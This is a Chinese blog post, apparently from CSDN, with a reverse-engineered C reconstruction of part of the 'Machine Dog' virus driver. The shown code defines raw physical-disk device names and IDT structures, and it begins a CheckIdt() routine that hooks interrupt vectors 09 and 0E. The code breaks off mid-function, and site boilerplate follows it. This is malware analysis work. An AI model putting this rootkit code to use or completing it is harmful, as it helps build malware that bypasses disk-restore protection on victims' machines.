机器狗”病毒驱动部分逆向分析注释(C代码)

本文档分析了一种名为“机器狗”的穿透冰点型带驱动病毒,该病毒使用MASM编写。主要介绍了如何使用IDA工具,通过`CheckIdt()`函数检查并修改中断描述符表(IDT),以及搜索自身驱动资源的方法。同时,展示了`DriverEntry()`函数的实现,用于创建设备对象、符号链接,并处理IRP请求。
摘要由CSDN通过智能技术生成

软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net/ 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM(我也不太懂这个,学好这个就可以编自己的操作系统了)对应的是LINUX的NASM
【使用工具】: IDA
【操作平台】: win2003(虚拟机)
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

-HACKER 胤真

#include <ntddk.h>     // various NT definitions

#define IOCTL_MYDEV_BASE       0xF000
#define IOCTL_MYDEV_Fun_0xF01    CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME            "//Device//Harddisk0//DR0"
#define NT_DEVICE_NAME            "//Device//PhysicalHardDisk0"
#define DOS_DEVICE_NAME            "//DosDevices//PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID*  g_ResData;
SIZE_T g_ResDataSize;

typedef struct _idtr
{
  //定义中断描述符表的限制,长度两字节;
  short    IDTLimit;
  //定义中断描述服表的基址,长度四字节;
  unsigned int  IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
  //中断执行代码偏移量的底16位;
  unsigned short  OffsetLow;
  //选择器,也就是寄存器;
  unsigned short  Selector;
  //保留位,始终为零;
  unsigned char    Reserved;
  //IDT中的门的类型:包括中断门,陷阱门和任务门;
  unsigned char    Type:4;
  //段标识位;
  unsigned char    SegmentFlag:1;
  //中断门的权限等级,0表示内核级,3表示用户级;
  unsigned char    DPL:2;
  //呈现标志位;
  unsigned char    Present:1;
  //中断执行代码偏移量的高16位;
  unsigned short  OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9        //NPX Segment Overrun
#define HOOKINTID_0E 0x0E    //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
    int INT_09_Address_High8;
    int INT_0E_Address_High8;
    unsigned long OldISR_09;
    unsigned long OldISR_0E;

    //保存IDT入口的基地址和限制信息的数据结构;
  IDTR    idtr;//store  interrupt  descript  table  register. to idtr

      //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
  PIDTENTRY  IdtEntry;

  //汇编指令sidt,获取IDT入口信息;
  __asm sidt  idtr

  //赋予IDT基地址值;
  IdtEntry = (PIDTENTRY)idtr.IDTBase;

  //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量࿰

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值